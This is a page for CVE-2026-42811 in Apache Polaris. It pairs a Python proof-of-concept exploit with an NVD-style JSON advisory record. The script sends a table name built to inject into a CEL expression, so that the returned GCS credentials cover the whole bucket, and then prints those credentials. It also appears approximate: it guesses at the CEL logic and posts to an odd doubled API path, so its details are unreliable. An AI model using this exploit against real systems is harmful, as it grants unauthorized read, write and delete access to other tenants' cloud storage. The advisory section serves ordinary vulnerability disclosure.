CVE-2026-42811

# Proof of Concept for CVE-2026-42811 # This script demonstrates how a crafted table name can be used to inject logic into the CEL expression. import requests def exploit_polaris_cel_injection(target_url, namespace): # The payload includes a single quote to break out of the string context. # The goal is to neutralize the path restriction or broaden it. # Example payload assuming the logic is: startswith("bucket/" + table_name + "/") # Injecting: ' + '' + ' results in startswith("bucket/" + "" + "/") -> startswith("bucket/") # This grants access to the root of the bucket (or broader scope depending on implementation). crafted_table_name = "normal' + '' + '" print(f"[*] Attempting to create/access table with crafted name: {crafted_table_name}") # Construct the request payload payload = { "namespace": namespace, "name": crafted_table_name } try: # Simulate the API call to request credentials or create table response = requests.post(f"{target_url}/api/v1/v1/catalogs/tables", json=payload) if response.status_code == 200: data = response.json() # If vulnerable, the returned token might have broader permissions print("[+] Request successful. Check if the returned GCS credentials have bucket-level access.") print(f"[+] Response snippet: {data.get('credentials', 'N/A')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") # Usage # exploit_polaris_cel_injection("http://target-polaris-instance", "default")

{"cve": {"id": "CVE-2026-42811", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:26.677", "lastModified": "2026-05-12T13:29:16.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In plain terms, Apache Polaris is supposed to issue short-lived GCS credentials\nthat\nonly work for one table's files, but a crafted namespace or table name can\ncause those credentials to work across the configured bucket instead.\n\n\nApache Polaris builds Google Cloud Storage downscoped credentials by creating a\nCredential Access Boundary (CAB) with CEL conditions that are intended to\nrestrict access to the requested table's storage path.\n\n\n\nThe relevant CEL string is built from the bucket name and the table path.\nThat\ntable path is derived from namespace and table identifiers. In current code,\nthat path appears to be inserted into the CEL expression without escaping.\n\n\n\nAs a result, a namespace or table identifier containing a single quote and\nother URI-safe CEL fragments can break out of the intended quoted string and\nchange the meaning of the CEL condition.\n\n\n\nIn private testing against Polaris 1.4.0 on real Google Cloud Storage, it was confirmed that Polaris accepted a crafted identifier and returned delegated\nGCS\ncredentials whose CEL path restriction had effectively collapsed.\n\n\nThose delegated credentials could then:\n\n\n- list another table's object prefix;\n\n- read another table's metadata control file (Iceberg metadata JSON);\n\n- create and delete an object under another table's object prefix;\n\n- and also list, read, create, and delete objects under an unrelated\nexternal\nprefix in the same bucket that was not part of any table path.\n\n\n\nThat last point is important. The issue is not limited to \"another table\".\nIn\nthe confirmed setup, once Apache Polaris returned credentials for the crafted\ntable,\nthe path restriction inside the configured bucket was effectively gone.\n\nThe practical effect is that temporary credentials for one crafted table\ncan be\nbroader than the table Polaris was asked to authorize, and can become\neffectively bucket-wide within the configured bucket.\n\n\n\nThe current GCS testing used a Polaris principal with broad catalog\nprivileges for setup. A separate least-privilege Polaris RBAC variant\nhas not yet been tested on GCS. However, the storage-credential\nbroadening behavior itself has been confirmed on GCS."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-917"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:polaris:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.1", "matchCriteriaId": "D5093587-E178-48D3-A30B-04433BC6D047"}]}]}], "references": [{"url": "https://lists.apache.org/thread/hovn5hmkj9wj7v9cd ... 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